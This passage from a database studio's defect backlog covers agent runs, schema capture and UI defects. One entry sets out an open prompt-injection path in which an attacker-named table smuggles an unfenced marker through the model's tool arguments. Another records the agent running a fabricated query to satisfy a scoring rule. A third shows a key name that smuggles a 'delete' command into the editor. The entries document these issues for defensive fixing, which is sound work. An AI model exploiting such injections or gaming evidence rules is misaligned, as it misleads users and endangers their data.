"Run answered" or "Run did not answer", and names the shortfall.
Adding a fourth status would also have split succeeded by ledger generation, with nothing in an
older record to say which meaning applied. The optional field has the opposite property: its absence
means precisely what is true of it — no verifier ran — which
tests/unit/lib/agent/ledger-compatibility.test.ts asserts against a real pre-change ledger.
The original reasoning, kept because it is what the decision was measured against: the concern was
that changing ledger semantics twice is the expensive kind of change, that failed would be wrong
for planning mode, and that the rule was not knowable until goal verifiers existed per template. All
three held, and all three are why the answer is a field rather than a word.
composeSqliteIndexes reads the index inventory from CREATE INDEX text (sql IS NOT NULL), and
the indexes SQLite creates for a UNIQUE or PRIMARY KEY constraint carry no DDL at all. They are
therefore absent from the captured inventory, and a foreign-key column covered by a UNIQUE
constraint looks uncovered to findUnindexedForeignKeys (src/lib/agent/table-profile.ts).
The finding is worded to survive this — "no index in the captured inventory leads on this
foreign-key column", not "this foreign key is unindexed" — and the primary key is read from the
column inventory rather than the index one, so a PK-covered key is already correct. What remains
wrong is the UNIQUE case, which reports a covering index that exists.
Done when the SQLite capture surfaces constraint-created indexes — the information is in the table's
own stored DDL, which parseSqliteTableDdl already reads for columns and foreign keys and could read
for UNIQUE clauses too — or when the finding is suppressed on SQLite for columns a UNIQUE
constraint covers. Related: B7 (PostgreSQL expression indexes are absent) and B8 (a composite foreign
key comes back as the cross product of its sides, which is why composite keys are skipped entirely).
table-profile.ts tests one value shape inside the database, LIKE '%_@_%._%', and derives
suspected_pii from the ratio of matches. A run of digits — a phone number, a national id, a card
number — is the other shape worth suspecting, and LIKE cannot express it: _ means "any
character", so a length test would match almost any text. PostgreSQL spells it ~ '[0-9]{9}' and
SQLite spells it GLOB '*[0-9][0-9][0-9]…*'.
An earlier draft of this module shipped LIKE '%_________%' as a "nine digits" test, which would
have produced a suspected_pii finding for essentially every text column. It was removed before it
landed rather than approximated.
Done when the shape tests are per-dialect predicates rather than one shared LIKE, with the digit
run among them and each verified against that engine's own grammar.
#330 T3 asks for "a timeout fallback to catalog stats". A profile that exceeds
statementTimeoutMs currently surfaces as a repairable database error, so the model may narrow the
profile or move on — but nothing reads pg_stats / sqlite_stat1 for the approximate answer the
engine already holds.
The gap is honest rather than silent (the run is told the statement failed), and the fallback is a
second composition path per dialect whose numbers are estimates the planner maintains, so a profile
built from it would have to say which of its figures were measured and which were the engine's own
estimate. Done when that distinction is carried in AgentTableProfile and the fallback is composed
per dialect.
Found by the injection fixtures in tests/evals/injection.test.ts (#330 T4), which is what those
fixtures are for.
Every block the SERVER writes is fenced and its markers neutralised, and the suite asserts that property directly by counting: a transcript holds exactly as many closing markers as the server opened. The path this does not cover is the model's own message. An attacker who can name a table can put the closing marker in that name; the model reads it correctly fenced, and then copies the identifier into its own tool ARGUMENTS — which are the model's words, not the server's. The transcript sent back on the next turn therefore carries an unfenced marker.
This is an open injection path, not a bounded residual, and the first version of this entry said otherwise — the correction is worth recording because the mistake was instructive. It claimed "the text following the marker is the model's own JSON, not attacker content". That is false: an attacker who can name a table controls the WHOLE identifier, so they control the marker and arbitrary text after it, and JSON quoting around the string does not make that suffix the model's.
What is true is a narrower and different claim, and it is what makes this hard to reach today rather than harmless: the server never hands the model the raw marker. Every server-authored path neutralises it first, so a model reading a hostile inventory sees the defanged spelling. For the raw marker to appear in an assistant message the model has to reconstruct it. The fixtures assert both halves — that the fenced inventory contains no raw marker, and that the transport does not prevent one if the model produces it anyway (the scripted model supplies it directly, which is stronger than what the fenced paths currently give a real one).
The server's own blocks do stay balanced, which bounds what can be re-attributed to the SERVER — and nothing more than that.
Fixing it means rewriting the messages the provider itself returned (response.messages), which is
the transcript that provider will accept back — the same reason investigation.ts filters those
messages to the assistant turn rather than rebuilding them. Done when a tool call's arguments are
neutralised on the way into the transcript without desynchronising the tool_call_id pairing the
endpoint validates.
Found while reviewing #331 T5, by reading what the probe actually mirrors.
GET /api/agent/config decides the rail's visibility partly on a writable-path probe, and that probe
runs @workflow/world-local's ensureDataDir steps: create the directory, check it is readable,
write a probe file, remove it. The world does not call ensureDataDir. It calls initDataDir, which
calls ensureDataDir and then reads version.txt from an existing ledger and parses it — first
parseVersionFile, which throws on content with no @, then parseVersion, which throws on anything
that is not major.minor.patch. Neither is reached by the probe.
So an existing ledger directory whose version.txt is truncated, present-but-empty, or written by an
incompatible release answers green — the directory is writable, which is all the probe asked. The
rail renders, the operator clicks Start, and the run fails when the world is built. That is precisely
the failure T5 exists to prevent, surviving in a narrower case.
T5 narrowed the promise rather than widening the probe: the docblock on runLedgerProbe and the HTTP
surface section of AGENT.md now say that green means ensureDataDir will pass, not that
initDataDir will. Widening was rejected here on two grounds. Parsing another package's on-disk
format in our own probe duplicates a contract that is upstream's to change. And the honest alternative
— calling upstream's initDataDir — writes version.txt as a side effect, which turns a read-only
visibility probe into something that initialises the ledger on every page load of a logged-in user.
Done when the probe can answer for the version file without writing one: either upstream exposes a
check that does not initialise (worth an issue there), or the probe reads an EXISTING version.txt
itself and reports a LEDGER_INCOMPATIBLE reason distinct from LEDGER_UNAVAILABLE, leaving the
absent-file case to the world.
Raised in review of #331 T5.
resolveAgentAvailability derives the agent's visibility from two conditions, and the second one —
the durable ledger has a usable home — is only ever tested for the local backend, where testing it
is a mkdir and a file write. With WORKFLOW_TARGET_WORLD=@workflow/world-postgres the ledger is a
database, and the check ends at "the variable names a sanctioned backend". WORKFLOW_POSTGRES_URL is
neither read nor reached, and unset it does not even refuse: the world falls back to a development
default (postgres://world:world@localhost:5432/world).
So a multi-replica deployment pointed at an unreachable, misspelled or unset Postgres URL gets a rail that renders, a Start that is offered, and a failure at the moment a world is built — the exact outcome deriving availability exists to prevent, surviving in the one backend an operator opts into deliberately.
It is a documented carve-out rather than a silent one. AgentAvailability's green branch carries
ledgerVerified, GET /api/agent/config returns it, and this backend answers false — so no reader
of the code, the API or AGENT.md is told a database was reached when only a variable was
read. What is not claimed is that the rail is therefore correct: it still appears.
Not fixed here because the fix is a different piece of work with its own cost: the only real readiness
check is a connection attempt, and this route answers on every page load of a logged-in user, from
outside the ai rate-limit bucket. Done when the Postgres backend's readiness is established by a
bounded, cached connection attempt under its own reason code — LEDGER_UNREACHABLE, distinct from
LEDGER_UNAVAILABLE, which names a directory — with a timeout short enough for a page load and a memo
long enough that a page-load probe cannot become a connection per request. B16 gates any of this being
testable in a shipped artifact: the Postgres world is not in the container image or the npx payload.
docs/API_DOCS.md now documents /api/agent/* request-by-request, and
tests/unit/agent-documentation.test.ts derives the six agent paths from src/app/api/agent/** and
fails if one of them is missing from that file — which is what closed the gap the agent family had
(#331 T6). The guard is deliberately scoped to that one family, so every other route family is
still documented by hand with nothing comparing it against the route tree. A new /api/db/* or
/api/storage/* route can ship undocumented exactly as /api/agent/* did, and no gate notices.
The narrow scope was a choice rather than an oversight: widening the derivation to src/app/api/**
turns up routes the reference documents in prose rather than under a literal path heading (the
schema family reaches two paths through one shared handler, and several /api/db/* routes are
described in a single table row), so the assertion would fail on documentation that is not actually
missing. Making it total means first deciding what "documented" means for a route the reference
covers collectively — a documentation-shape decision, not a test.
Done when the guard derives every family from src/app/api/** under one stated rule for what counts
as documented, and the reference is reshaped where that rule does not currently hold. It is also
worth noting what the guard does NOT check even for the agent: that a documented request or response
shape still matches the handler. Only presence is asserted.
A run's whole record is the append-only ledger: lifecycle, tool invocations, refusals with their deny class, budget counters and the goal verdict. The rail and the eval harness both read runs out of it, and an operator debugging a run today reads it directly. What does not exist is a way to get that record into the observability stack a self-hosting team already runs — no OpenTelemetry spans, no OTLP export, no metrics.
Designed in full and deliberately not built (#332, closed 2026-08-14): endpoint-gated activation on
OTEL_EXPORTER_OTLP_ENDPOINT, a dynamic import so no exporter module loads while it is unset,
metadata-only span attributes by default with a documented verbose delta, and no second global SDK
registration in the embedded build. The reason it is deferred is dependency surface and timing rather
than doubt about the design: it adds @ai-sdk/otel plus an exporter to a package libredb-platform
also consumes, and the agent's event model is still gaining kinds — instrumenting it now means
maintaining a span catalogue against a moving target. Nothing in Phase 1 depends on it and no user is
waiting on it.
Done when the event model has settled and somebody is running Studio beside a stack that wants agent runs in it. The decisions above are the starting point; #332 holds the full scope.
The half of the old B14 that did not land with the chart surface, restated on its own because the two
halves were never the same problem. A run's rows now reach the results grid, the explain view and the
charts view, each with the provenance badge naming the run — but exportResults in
src/components/Studio.tsx serializes currentTab.result, so offering the Export menu over a
hydrated view would write the tab's rows to a file while the user is looking at the run's. The menu is
therefore hidden while an artifact is shown, which is correct and is not the same thing as being able
to export what is on screen.
The pivot and dashboard views are unhydrated for a related reason and are not part of this: both are configured against the columns of the result they were opened on, and neither has a recorded decision behind it the way a composed answer has.
Done when the export path can take an explicitly hydrated result — with the file still attributable to the run, since an exported file that came from an agent run and is indistinguishable from one the user ran is the thing to avoid.
B35. A resumed run can evict its own still-cited results, because the artifact cap is sized per drive
AGENT_MAX_ARTIFACTS (src/lib/agent/runtime.ts) is 45 × 4 = 180: the largest per-workflow
statement ceiling times the four concurrent runs one agent process is sized for. Its justification
used to be that "a run cannot produce more artifacts than it is allowed statements", which is true of
a DRIVE and not of a run — every ceiling in AGENT_WORKFLOW_BUDGETS is per drive (B6), while a
resumed run keeps its runId and its artifacts are keyed by it. A run driven three times may
therefore hold up to three times its statement ceiling in the store, and one long-lived run can pass
180 on its own without any concurrency at all.
ExecutionArtifactStore.put spends the cap run-fairly: a store at the cap evicts the oldest artifact
of the run that is STORING, which is what stops a busy run making "Show result" fail on a quieter one.
Applied to a run past the cap, the same rule means the run evicts its own earliest evidence — the
results its first drive read, which its report may still cite. Nothing about the ledger is wrong
afterwards: a claim and its citation are durable, and the artifact route already answers "the rows are
not here" for the run-ended and TTL-expired cases (B15). This is a third way to reach that answer, and
the only one that can happen while the run is still live and the rail is still offering the control.
Not closed with an artifact-only bound, deliberately. A ceiling that holds ACROSS drives is exactly
the mechanism B6 describes as missing, and the run record already carries what it needs
(createdAtMs, and a ledger holding every settled step), so a second answer invented for artifacts
alone would have to be unpicked when B6 lands. It also cannot be closed by raising the number: a run
resumed often enough passes any constant.
Done when a drive's artifact allowance is derived from the run's own history rather than from a per-drive constant — most likely as part of B6 — with a test that drives one run twice past the cap and shows the first drive's cited results still readable, or the surface stating that they are not.
Driven live on 2026-08-15. An analysis run answered "compare the average salary of employees hired
before 1990 with those hired after" correctly. The next question typed into the same box — "and how
many of those employees are there in each group?" — was answered about DEPARTMENTS: nine of them,
289 in Development. "Those groups" had no referent, because a run carries none: start() clears the
entries and opens a fresh ledger, and the model is handed the objective and the schema and nothing
else.
The defect is not that runs are independent. It is that the surface does not say so, and the model does not either — it silently picks a plausible referent and answers a question nobody asked, with the same confident citations a correct answer carries. A user reading the report cannot tell the difference without re-reading their own question.
Two shapes would close it and they are not the same feature. The smaller: let a run be TOLD about the run before it — its objective and its report — as fenced context, so "those groups" resolves or is honestly refused. The larger: run history, so a user can see and return to earlier runs (the objective box being emptied after a run, which landed with this PR, at least stops the surface reading as a conversation).
Neither should be built by threading the browser's memory into the prompt: a resumed drive would not have it, and the context a run reasons from has to live where the run does.
Done when a follow-up either resolves against the previous run or is refused for lack of a referent, with an eval that drives two runs and asserts the second does not answer a different question.
Driven live on 2026-08-15. A seed-connections.yaml missing a required field made
GET /api/connections/managed throw. The browser then held an empty servedSeeds, so
resolveAgentRunConnectionId returned null for EVERY connection — including the two samples this
application ships and seeds itself — and the rail said:
"Sample (Employees) cannot be rebuilt on the server: its settings live in this browser."
Which is false twice over. The connection is a seed, its settings live on the server, and what actually happened is that the server could not read its own config. The true cause appeared in the server log and nowhere a user can see. The rail is stating a conclusion drawn from an absence it cannot distinguish from a failure — the same shape as an unreadable plan reading as a cheap one (#373), and it costs an operator the whole agent surface while pointing them at the wrong file.
Done when the browser can tell "the server served no seeds" apart from "the server could not load its seeds", and the rail says the second one differently — with a test that fails the managed endpoint and asserts the copy names the server's configuration rather than the connection.
Driven live on 2026-08-15. Starting an agent run on the bundled libredb sample opens the run,
captures nothing, drafts a statement, invokes run_read_query and then ends failed with
engine-unsupported: "The agent cannot run on this database engine: it offers no read-only
execution profile." The sentence is exact and the failure is honest. It is also entirely
predictable before the run: queryReadOnly is a property of the provider, known from the
connection's type, and nothing about the objective can change it.
One clause of that observation expired with #414 and the defect did not: a run on that connection no longer "captures nothing" — the capture reads the provider's own schema, on this engine and on the other eight, and succeeds. So the run now spends a model turn AND is grounded in a schema it will never be allowed to read a row of, which makes the offered-then-withdrawn shape worse rather than better. The fix is unchanged.
So a user spends a model turn and a run id to be told something the rail could have said while the
Start button was still grey. This repository already follows the opposite rule everywhere it
matters — HydrationControls renders no control the host cannot serve, the stop button is absent
rather than disabled, and canHandOver withholds the auto-execute checkbox from a host with no
runner. Agent mode on an unsupported engine is the one place a capability is offered and then
withdrawn after it was taken up.
Done when the rail states the engine's unsuitability before a run is started — the same way it already states an unresolvable connection — with a test that pins the message and one that pins Start being unavailable for it.
Driven live on 2026-08-15. Asked "what is our customer churn rate this quarter?" against an employees database, the run answered honestly: the schema holds employee records, not customer records. To do so it executed
SELECT 'The database contains employee records (employee, department, dept_emp, salary, title) ...'— a string literal, run purely to produce the sql.query.read artifact that present_answer
requires and agent-data-analysis.1 scores on. The run took 36 steps to get there.
The user-visible outcome is correct and readable, which is why this is recorded rather than fixed in
haste. The mechanism is not: the workflow's only route to answered is a reading of the data, so a
question the data cannot answer has no honest route at all, and the model games the rule instead of
reporting the finding. This is the #356 family — a bar only one kind of correct answer can clear —
and the remedy is the same shape: a second arm. A run that establishes from the schema snapshot that
the question is not about this database has answered it, and should be able to say so without
inventing a query.
Done when a data-analysis run can conclude "not answerable here" and be scored answered for it,
with the rule stated in WORKFLOW_TOOL_RULES (a rule the model is not told is a rule live runs
fail) and an eval that asserts no fabricated statement is sent.
securityHeaders (src/lib/security/headers.ts) deliberately omits unsafe-eval, which is right
for production and correct for Monaco. React's DEVELOPMENT build needs it, and without it the login
page never hydrates: the Sign In button has no handler, no request reaches /api/auth/login, and
the console carries only "eval() is not supported in this environment". A contributor's first
bun dev is a dead end unless they already hold a session cookie from a production run — which is
why this has gone unnoticed.
Production is unaffected and nothing here argues for weakening the shipped policy. The fix is to
relax the directive only where NODE_ENV === "development", in one place, with the reason written
next to it.
Done when bun dev can log in from a cold browser profile, with a test asserting the shipped
(non-development) policy still omits unsafe-eval.
docs/SEED_CONNECTIONS.md says the defaults block is "merged into every connection". A config
whose roles appears only under defaults is rejected with
Invalid seed config: connections.0.roles: expected array, received undefined. Either the merge is
narrower than the sentence, or the sentence is wrong; a config file is not the place to find out by
experiment.
Done when the documented behaviour and the schema agree, whichever way is chosen, with a test
covering a config that sets roles only in defaults.
navigator.clipboard is a secure-context API: over plain HTTP on any host but loopback it is
undefined, and this product ships that way on several distribution channels — the trap already
recorded for crypto.randomUUID in use-query-execution.ts. src/components/copy-button.tsx
(#389) handles it by falling back to document.execCommand("copy") and reporting a failure of both,
but it is used only by the agent rail. Every other copy in the app reaches the API unguarded — nine
call sites across seven components: TableItem.tsx, RowDetailSheet.tsx (three: one per field, two
on the whole-row path), CodeGenerator.tsx, TestDataGenerator.tsx, DataImportModal.tsx,
StudioMobileHeader.tsx and QueryEditor.tsx.
Four of the seven claim a success nobody observed, in the same statement that starts the write:
CodeGenerator, TestDataGenerator and RowDetailSheet flip a label, and TableItem raises a
toast.success. On those channels the user is told the copy worked and finds out when they paste.
Done when every copy in the app goes through CopyButton (or its writeToClipboard), with a test
per site that the label does not claim success when the write was refused.
B44. Under the documented least-privilege role no foreign key is visible, and the run then asserts that none exists
Found on 2026-08-17 while re-driving docs/AGENT_DEMO.md in a browser. Two halves, and the second
is the one that reaches a user.
The read comes back empty. composePostgresRelations (src/lib/agent/composed-sql.ts) reads
information_schema.table_constraints / key_column_usage / constraint_column_usage. PostgreSQL
restricts those views to constraints on tables the current role owns or holds a privilege on
other than SELECT, so the role docs/AGENT_DEMO.md prescribes for the agent — CONNECT,
USAGE, SELECT ON ALL TABLES, pg_read_all_stats — sees none of them. Measured on the seeded
dvdrental as libredb_agent (usesuper = f): information_schema.table_constraints returns 0
rows with constraint_type = 'FOREIGN KEY', while pg_constraint WHERE contype = 'f' holds 18.
The relations graph packed into the run's context is therefore empty for the exact role the product
tells operators to create.
The run then asserts the negative. Asked what tables exist and how they relate, an investigation run answered "There are no declared foreign key constraints between tables in the database" — false, and cited to a schema snapshot that genuinely contained nothing. A zero-row relations read cannot distinguish "this database declares no foreign keys" from "this role cannot see the ones it declares", and nothing today makes the run say which it means. The neighbouring case survived only because the model reconstructed the join path from column names, which is luck, not evidence.
The first half is B8's rewrite arriving for a second reason: B8 already plans to leave
information_schema for pg_constraint — unnesting conkey/confkey WITH ORDINALITY — to pair a
composite key's columns and to stop two same-named constraints cross-matching. pg_constraint is
readable by any role with USAGE on the schema, so that same rewrite closes this too. What this
entry changes is B8's severity: it was filed as a precision defect on the edges the inventory
draws, and this makes it a correctness defect on whether the inventory has any edges at all.
The second half is a separate decision and does not go away with the rewrite, since any role can
still be narrower than the database. Done when a run on a SELECT-only role reports this database's
foreign keys, and an empty relations read no longer licenses "there are no foreign keys" — the
run either says it could not see them or says nothing about them, with a test that pins the
distinction.
B45. Every optimization run is scored unanswered / empty-evidence, including one that produced a correct index
Driven live on 2026-08-17. A query-optimization run compared plans with real PostgreSQL costs,
recommended a CREATE INDEX that is the right index, offered it to the editor — and ended
"Run did not answer — Every result the report cited came back empty, so the answer rests on
nothing." Every Optimize run in that drive ended the same way.
Two mechanisms compose into it. The plan artifact a run cites is sql.explain.estimate, and a plan
arrives in a single column, so the artifact's summary records rowCount: 0 — the artifact is
complete and its row count is meaningless. And verifyOptimizationGoal composes on the investigation
baseline, which carries the empty-evidence arm: every cited result returning zero rows ends the run
unanswered.
This is structurally the same error the operations template was explicitly exempted from, and the
exemption's own rationale applies verbatim. src/lib/agent/goal-verifier.ts:440-452 argues that
holding an operational reading to the emptiness rule is "precisely backwards" — "no session is
blocked" and "no index is unused" are answers, and marking a healthy server's run unanswered is "the
same error as demanding an artifact only some valid answers can produce" (the #356 family). A plan
with zero rows in it is the same shape: emptiness is a property of how a plan is returned, not of
whether the question was answered.
The user-visible cost is worse than a wrong label, because the verdict is the one part of a run a sceptical reader trusts most: the product contradicts its own good answer, in its own voice, at the end of the run.
Done when an optimization run whose report cites a plan and recommends an index is scored answered,
either by exempting sql.explain.estimate from the emptiness arm or by not composing that arm into
this template — with an eval that fails if the run above reads unanswered, and with the reason
recorded next to the operations exemption so the two read as one decision.
B47. engine-unsupported is shown for a misconfigured agent credential, on an engine that is supported
AgentRunFailureReason's engine-unsupported is rendered as "The agent cannot run on this database
engine: it offers no read-only execution profile." (src/components/agent/timeline.ts). It is the
classification src/lib/agent/runtime.ts gives to any ExecutionProfileError, and that error has two
causes rather than one. The engine-shaped cause is real and the sentence fits it:
acquireExecutionProfileProvider refuses agent-read-only for a provider with no queryReadOnly.
The other cause is resolveAgentCredential, which throws the same error type — with reason codes
AGENT_CREDENTIAL_UNRESOLVABLE and AGENT_CREDENTIAL_WITH_CONNECTION_STRING — for a credential that
is half-configured, sealed under a key that no longer decrypts, or configured alongside a connection
string. That check runs before a provider is created, on every engine.
So an operator who set agentUser and agentPassword on a PostgreSQL connection and then rotated the
secret key is told their engine is unsupported. The one message they get points away from the one
thing they could fix, and it says something about their database that is false. Found while verifying
this reason's own doc comment on #411; the comment now states the gap rather than claiming the
workflow cannot reach it.
Not made by #411 and not fixed by it. Every workflow could already reach it through
acquireExecutionProfileProvider on the reading path; what #411 changed is that an operations run
can now reach it before its first turn, during the grounding capture, which is the earliest and least
explicable moment for it to arrive.
Done when a credential refusal is classified apart from an engine refusal — the reason codes already
distinguish them, so this is a branch in classifyDriveFailure and a second rail sentence, not new
information — with a test per cause pinning the sentence a user is shown.
captureFromProvider (src/lib/agent/context-snapshot.ts) converts a DatabaseError or an
ExecutionProfileError raised before the reading leaves into an unavailable capture, so a plan run on
one of the nine provider-path engines survives an unreachable host, a wrong password or a
half-configured agentUser and answers ungrounded with the capture's own diagnosis. The composed path
— PostgreSQL and SQLite — does not: the same failure propagates out of readCatalogForGrounding,
through captureContextSnapshot and establishPlanningContext, and ends the run internal, or
engine-unsupported on the profile error (see B47).
The asymmetry was deliberate at #414 and is recorded here rather than resolved there: those two engines have never reached the new line, and changing their failure mode is a second decision about a path #414 did not touch. It is still an asymmetry a reader will trip over — two grounding paths, one of which loses the run to an unreachable database and one of which does not.
Done when a plan run on PostgreSQL or SQLite whose catalog read cannot reach the engine answers ungrounded with the reason, exactly as the provider path now does, with a test per converted class.
A plan run on the seeded Demo (LibreDB) connection (data/demo.libredb, type libredb) is
ungrounded on every attempt: it writes no context-captured event at all and answers with the
refusal it is instructed to give — "this run was given no inventory of this database". The provider
path reaches this engine like the other eleven, so the reading is attempted; it simply cannot open the
file.
Measured on 2026-08-17, against @libredb/libredb 0.2.2 and a copy of the seeded file:
lib.open({ path })takes an exclusive lock. Opening the same path a second time in the same process throwsLibreDbErrorwithcode: "LOCKED"(libredb: <path> is locked).acquireExecutionProfileProvider(connection, "agent-operations")is a second provider, cached underprofiledCacheKey(connection.id, profile)rather than under the connection id, and it callsconnect()— which islib.open()on a path the ordinary writable provider already holds open (LibreDBProvider.connect,src/lib/db/providers/embedded/libredb.ts:177).- Driven end to end: with the writable provider connected and returning five namespaces
(
config:*,people:*,project:*,users:*,session:*), the profiled acquisition fails withConnectionError/CONNECTION_ERRORand the message the provider writes forLOCKED— "LibreDB file is already open by another process (exclusive lock)." ConnectionErrorextendsDatabaseError, socaptureFromProviderconverts it into an unavailable capture rather than propagating it. The run therefore continues, honestly, ungrounded — which is why nothing about this looks like a failure anywhere.
The condition is "the connection's ordinary provider is currently connected", which is true from the
moment anyone browses the connection in the sidebar — so in practice this is every run. It is not a
grounding defect: the same lock defeats any second handle on the same file, which is why
docs/BACKLOG.md D3 already records the connection-test modal presenting it as a failed connection.
LibreDB is not a priority, so this is recorded rather than fixed. Done when an execution-profile
acquisition on a single-writer embedded engine reuses the connection's existing provider instead of
opening a second handle — the same answer D3 needs, and the reason the two entries should be closed
together — with a test that grounds a plan run on a libredb connection whose writable provider is
already open.
Two plan runs on the seeded local Redis, driven after #414's vocabulary work landed, both grounded on the same 17 real key prefixes the provider read:
arun_492bf2a7228e47e48f0caafa4da5d057, objective "Which key prefix holds the most keys, and how would I list them?" → NO STATEMENT, and the refusal is a good one: "The inventory shows key patterns likeuser:*,order:*, etc., but does not provide row counts or key counts for each prefix, so it is impossible to determine which key prefix holds the most keys from the available data." Before the vocabulary fix the same objective producedKEYS user:*as though it were an answer.arun_7f8ef0bb38e842c087a65cfc674e78d5, objective "How many users are stored, and how do I look one up?" → draftedKEYS user:*, with the rationale "The key patternuser:*stores the user records as hashes. TheKEYS user:*command retrieves all keys matching that pattern, allowing you to count them, and you can look up an individual user withHGETALL user:<id>using their specific key."
Grounding is working, and the second half of that rationale is the new rule working exactly as
designed: it names a WHOLE KEY (HGETALL user:<id>) rather than handing a derived grouping to a
command. This is a draft-QUALITY matter, not a grounding one, and it should not be read as evidence
against #414.
What is wrong is the first half. KEYS is the blocking O(N) command this product's own provider
deliberately refuses to use: the schema read is a non-blocking SCAN and never KEYS *
(docs/providers/redis.md, and CLAUDE.md states it as a rule). So the product reads the keyspace
safely, and then offers the user the unsafe way to do the same thing — with an Apply-to-editor button
on it. Nothing runs: plan mode executes nothing and has no tools, so reaching the hazard takes the
user applying the draft and running it themselves on their own connection.
The open question, and it is genuinely open. The owner deliberately deferred per-engine knowledge
files, and the derived-groupings rule was written to stay on the near side of that line — it says what
the inventory's rows ARE and names no command, which is pinned by a test ("it names no command and
forbids none", tests/isolated/agent-investigation.test.ts). One sentence about operational COST is a
different kind of statement from a ban on a named command, and it may belong in the rules. Against it:
a rule that bans one command by name is engine trivia that goes stale, says nothing about the next
command, and this repository has been bitten by exactly that before — a model that knows what the rows
are can choose for itself, which is the premise the whole grounding design rests on. The third
position is that this is the user's call: the draft is theirs to run, on their own connection, and a
product that reads for them does not have to think for them.
Not decided here. Done when the owner rules, and — whichever way — the reason is recorded next to the derived-groupings rule so the two read as one decision.
B51. The run loop nudges a model three times and records none of it, so a rescued run is indistinguishable from one that never needed rescuing
runInvestigation now delivers three notices, each one-shot per DRIVE, each with its own boolean,
its own guard set and its own delivery mechanism:
| Notice | When | Delivered as |
|---|---|---|
AGENT_REPORT_RESERVE_NOTICE |
within the turn or time reserve of a ceiling | a user message, riding the turn about to be taken |
AGENT_REPORT_REMINDER_NOTICE |
a prose turn after a tool this run holds was called | a user message, and the turn is taken again |
AGENT_PRESENT_BEFORE_REPORT_NOTICE |
a compose_report on an answering workflow with a presentable read and no presentation |
a tool result, INSTEAD of running the call |
None of the three writes to the ledger. service.recordEvent is called for the schema capture, the
drafted statement, the closing prose, the recommendation, the answer and the report — and for nothing
the server said to the model. So a run's timeline shows a model that read, narrated, and then
reported, with no entry anywhere saying it was told to report; and a compose_report the loop
withheld leaves no record that a call was made at all.
"Once" means once per drive, and the missing entry is why. All three booleans are lets inside
runInvestigation (src/lib/agent/investigation.ts, beside let turns = 0), and that function is
what RESUMES an already-running run — service.resume at its head distinguishes a queued run from
one a dead process left running. A resumed drive therefore starts with every flag false and can
deliver a notice the previous drive already delivered. Two of the three have a partial durable guard
by accident: the present-before-report notice reads answer-composed off the ledger, so a run that
presented is not told to again — but a run whose present_answer was REFUSED writes no event, and is.
Nothing bounds the report reminder or the reserve notice across a resume at all. Recording delivery is
what would make "once" mean once, which is why this is one entry and not two.
That is a measurement problem before it is a design one. docs/llms/ is built by reading run ledgers
out of .workflow-data, and its whole claim is that each figure comes from an observed run. After
#416 and #417 a ledger can no longer answer "did this model do that by itself?" — which is the exact
question those pages exist to answer, and the question that decides whether a nudge is worth keeping.
methodology.md already warns that one run per cell is the weakest part of the method; an
unattributable rescue is weaker still, because re-running does not reveal it either.
The second half is the shape. Each notice's GUARDS are the load-bearing part, and they are the part
that keeps being got wrong: #416 arrived without the tool-set bound (a planning run, which holds no
tools, was told to call compose_report) and without the turn bound (a run narrating at the ceiling
was turned from succeeded / model-stopped into failed / turn-limit); #417 arrived with a
condition that named "a result this run can present" and read an operation id that inspect_schema
shares. Both were caught in review rather than by a gate, and a fourth notice will be written by
someone reading the third.
Done when a delivery is an entry on the ledger — one event kind, carrying which notice and what the run had done when it arrived — read back at the head of a drive so a resumed run is not told twice, and the three share one declared shape, so a new one states its condition, its scope and its delivery in the same place rather than inventing them again. Whether the rail SHOWS the entry is a separate question and probably a no: the notices exist to be invisible to a user, and the timeline is not the same surface as the ledger.
generateSelectQuery's LibreDB branch refuses to emit a command line for a node whose name contains a
newline (#427), because a line-oriented grammar cannot address it and a generated line would otherwise
carry attacker-chosen text into the tab. generateTableQuery — the "Scan Keys" action, which
handleTableClick AUTO-EXECUTES — was left as it was: for a key literally named
x\ndelete billing:2024 it returns get x\ndelete billing:2024. Only get x runs, because
firstCommandLine() takes the first line, so nothing destructive executes and nothing is deleted; but
line 2 sits in the editor as a plausible, runnable delete billing:2024, one Run Selected away.
Redis's equivalent path is closed: an argument the plain tokenizer cannot round-trip switches that line
to the lossless JSON command form, which has no line-oriented escape at all. LibreDB has no such form,
so closing this needs either a quoting rule in its grammar or the same "emit a note, emit no command"
answer generateSelectQuery already gives.
Done when no generated LibreDB line can carry a second command, and docs/providers/libredb.md §5.3
says so for Scan Keys as well as for the cheatsheet — today it claims the stronger property for both.
src/components/monitoring/tabs/QueriesTab.tsx:113,123 hardcodes PostgreSQL's advice as the empty
state for "Slowest Queries": a badge reading "pg_stat_statements required" and the line "Enable
pg_stat_statements extension to see query stats." Nothing gates it on the engine, so it renders on
every connection whose getSlowQueries() answered nothing — measured in the browser on 2026-08-19 on
an OpenSearch connection, and by inspection it is the same on MySQL, Oracle, SQL Server, MongoDB,
Redis, Couchbase, ClickHouse, Druid and Elasticsearch.
This is the #427 defect in another panel: six global ProviderLabels fields existed, were set by
seven providers and read by no component, so every engine rendered Postgres's copy. That one was
fixed by reading the labels; this one has no label to read.
Done when the empty state names something true for the connected engine — a slow-query label on
ProviderLabels, defaulted to today's wording for postgres alone — and each provider whose slow-log
lives outside the query surface says so in its own words (the search providers' is "the SQL surface
does not reach the slow log", already written in docs/providers/elasticsearch.md §7).
Studio.tsx supplies onBeginTransaction/onCommit/onRollback unconditionally, so QueryToolbar
renders the trio (and SANDBOX, which auto-rolls-back through the same route) on every connection.
POST /api/db/transaction then refuses with "Transaction control is not supported for this database
type" — measured 2026-08-19 on OpenSearch, HTTP 400 for both begin and rollback. Elasticsearch,
Druid, Couchbase, MongoDB and Redis are in the same position.
The toolbar's own doc comment already states the rule this breaks: "A caller that cannot run
transactions omits all three" — added by #427 when the embedded shell was showing three dead buttons.
The standalone shell now does the same thing for a different reason: there is no capability to gate on.
The server gates on isTransactionProvider(provider), a runtime shape check no client can read, and
ProviderCapabilities has no supportsTransactions.
Done when a provider declares whether it has transactions, Studio.tsx omits the trio and the sandbox
toggle where it does not, and every provider's doc states its answer. Deliberately not
folded into #424: the capability has to be added to every provider at once, which is a wider change
than the PR that found it.
The monitoring Overview renders Buffer Pool 0%, Deadlocks 0 and Checkpoint N/A for a search
cluster (measured 2026-08-19 on OpenSearch). N/A is the honest one: a cluster has no checkpoint. A
0 for a counter the engine does not keep reads as a measurement — the same class of claim the #414
work removed from the schema tree, where an empty foreign-key list had to say "impossible here" rather
than "none found".
Done when a metric an engine cannot report renders as unavailable rather than as zero, on every provider whose health payload omits it.
The container no longer hardcodes 0.0.0.0. Its entrypoint resolves a bind address at startup,
proves :: is dual-stack by connecting an IPv4 client to a throwaway :: listener, and falls back
to 0.0.0.0 only when that probe fails and a non-loopback IPv4 address exists. The chart writes an
